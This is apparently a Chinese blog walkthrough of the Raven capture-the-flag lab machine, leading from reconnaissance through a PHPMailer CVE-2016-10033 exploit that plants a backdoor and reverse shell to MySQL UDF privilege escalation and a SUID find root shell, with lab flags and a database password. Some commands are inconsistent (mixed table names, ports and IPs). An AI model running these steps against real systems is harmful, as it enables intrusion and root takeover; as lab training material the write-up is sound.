Raven靶场

一.信息收集

老方法netdiscover发现主机

nmap进行扫描端口

发现开放22,80,111,52263四个端口

发现vendor路径

打开PATH文件

获得第一个key:

flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}

发现用了PHPMailer

在version文件发现版本为5.2.16

二.漏洞利用

谷歌搜索:PHPMailer 5.2.16 exp

发现CVE-2016-10033

searchsploit 40974

cp /usr/share/exploitdb/exploits/php/webapps/40974.py /home/kali

需要对40974.py进行修改:

41行:改下地址:http://192.168.100.143/contact.php

42行:后门名称:/hack.php

44行:改下回弹的IP和端口 192.168.100.143 4444

47行:改下写入shell的目录:/var/www/html/hack.php

执行exp

python3 40974.py

如果环境报错按照环境安装:

需要安装requests_toolbelt模块,使用命令:pip install requests-toolbelt安装即可,如果没用pip,需要sudo apt-get install python-pip安装即可。

访问http://192.168.100.143/contact.php,此时就会生成后门文件hack.php

本地开启监听:nc -nlvp 4444

访问:http://192.168.100.143/hack.php

获得反弹shell!

python -c 'import pty;pty.spawn("/bin/bash")'

find / -name flag*

/var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png

/var/www/flag2.txt

发现两个flag!读取:

cat /var/www/flag2.txt

flag2{6a8ed560f0b5358ecf844108048eb337}

访问http://10.211.55.10/wordpress/wp-content/uploads/2018/11/flag3.png

获得flag3

在flag3目录下发现了wordpress目录,然后进行枚举

grep "password" -rn wp-config.php

显示28行有mysql密码

/** The name of the database for WordPress */

define('DB_NAME', 'wordpress');

/** MySQL database username */

define('DB_USER', 'root');

/** MySQL database password */

define('DB_PASSWORD', 'R@v3nSecurity');

/** MySQL hostname */

define('DB_HOST', 'localhost');

ps aux | grep root ---查看mysql进程信息

ps aux | grep mysql

dpkg -l | grep mysql --查看历史安装包版本

5.5.6

mysql是root权限运行的,那么接下来就找mysql提权的方法

三.提权

mysql中UDF提权、MOF提权是非常经典的提权方法,我们这里使用UDF提权

我们这里使用searchsploit mysql UDF命令使用1518.c

我们将他考出来

cp /usr/share/exploitdb/exploits/linux/local/1518.c /root

将.c文件编译为.so文件

gcc -g -c 1518.c

gcc -g -shared -o dayu.so 1518.o -lc

-g 生成调试信息

-c 编译(二进制)

-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。

-o:执行命令后的文件名

-lc:-l 库 c库名

在kali上相应目录起一个pythonhttp服务

python3 -m http.server 8000

在目标服务器上中tmp目录下进行wget http://192.168.100.130:8080/hack.so

再次链接mysql数据库

mysql -uroot -pR@v3nSecurity

show databases;--查看mysql数据库中的库

use mysql --进入mysql库

select database(); --查看当前使用的数据库

创建一个叫hack的数据表:

create table hack(line blob);

这条命令创建了一个名为"bug"的数据库表,它只有一个名为"line"的列,类型为二进制(BLOB)。

插入数据文件:

insert into hack values(load_file('/tmp/hack.so'));

这条命令将指定路径(/tmp/hack.so)下的文件内容以二进制形式插入到"hack"表的"line"列中。

这里假设该文件是一个共享库文件。

hack表成功插入二进制数据,然后利用dumpfile函数把文件导出,outfile 多行导出,dumpfile一行导出

outfile会有特殊的转换,而dumpfile是原数据导出!

新建存储函数:

select * from hack into dumpfile '/usr/lib/mysql/plugin/hack.so';

这条命令从"bug"表中选择所有行,并将其以文件的形式导出到指定路径(/usr/lib/mysql/plugin/bug.so)

创建自定义函数do_system,类型是integer,别名(soname)文件名字,然后查询函数是否创建成功:

create function do_system returns integer soname 'hack.so';

这条命令创建了一个名为"do_system"的用户定义函数(UDF),它的返回类型是整数。

查看以下创建的函数:

select * from mysql.func;

调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令:

select do_system('chmod u+s /usr/bin/find');

这条命令调用了之前创建的"do_system"函数,并将"chmod u+s /usr/bin/find"作为参数传递给它。

这里的目的是在执行该命令时提升"/usr/bin/find"命令的权限。

执行find命令

使用find执行 shell

touch hack

find hack -exec "/bin/sh" \;或者find hack -exec "id" \;

cd /root

cat flag4.txt

得到flag4{df2bc5e951d91581467bb9a2a8ff4425}

四.学习总结

1.linux命令提升

(1)grep命令

grep命令来自英文词组global search regular expression and print out the line的缩写,意思是用于全面搜索的正则表达式,并将结果输出。人们通常会将grep命令与正则表达式搭配使用,参数作为搜索过程中的补充或对输出结果的筛选,命令模式十分灵‍活。
语法格式: grep 参数 文件名

常用参数:

参考链接:

https://www.linuxcool.com/grep

(2)dpkg命令

dpkg命令来自英文词组Debian package的缩写,其功能是管理软件安装包,是在Debian系统中最常用的软件安装、管理、卸载的实用工具。
语法格式:dpkg 参数 软件包

常用参数:

参考链接:

https://www.linuxcool.com/dpkg

2.UDF提权手工大体步骤请参考提权,具体步骤总结

mysql -uroot -pR@v3nSecurity

show databases;

use mysql

select database();

create table hack(line blob);

这条命令创建了一个名为"hack"的数据库表,它只有一个名为"line"的列,类型为二进制(BLOB)。

insert into hack values(load_file('/tmp/bug.so'));

这条命令将指定路径(/tmp/hack.so)下的文件内容以二进制形式插入到"bug"表的"line"列中。

这里假设该文件是一个共享库文件。

select * from bug into dumpfile '/usr/lib/mysql/plugin/hack.so';

这条命令从"hack"表中选择所有行,并将其以文件的形式导出到指定路径(/usr/lib/mysql/plugin/hack.so)

这里的目的是将"hack"表中的内容导出为一个共享库文件。

create function do_system returns integer soname 'hack.so';

这条命令创建了一个名为"do_system"的用户定义函数(UDF),它的返回类型是整数。

该函数通过指定的共享库文件(hack.so)进行加载。

select do_system('chmod u+s /usr/bin/find');

这条命令调用了之前创建的"do_system"函数,并将"chmod u+s /usr/bin/find"作为参数传递给它。

这里的目的是在执行该命令时提升"/usr/bin/find"命令的权限。

参考链接:

UDF提权-CSDN博客

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值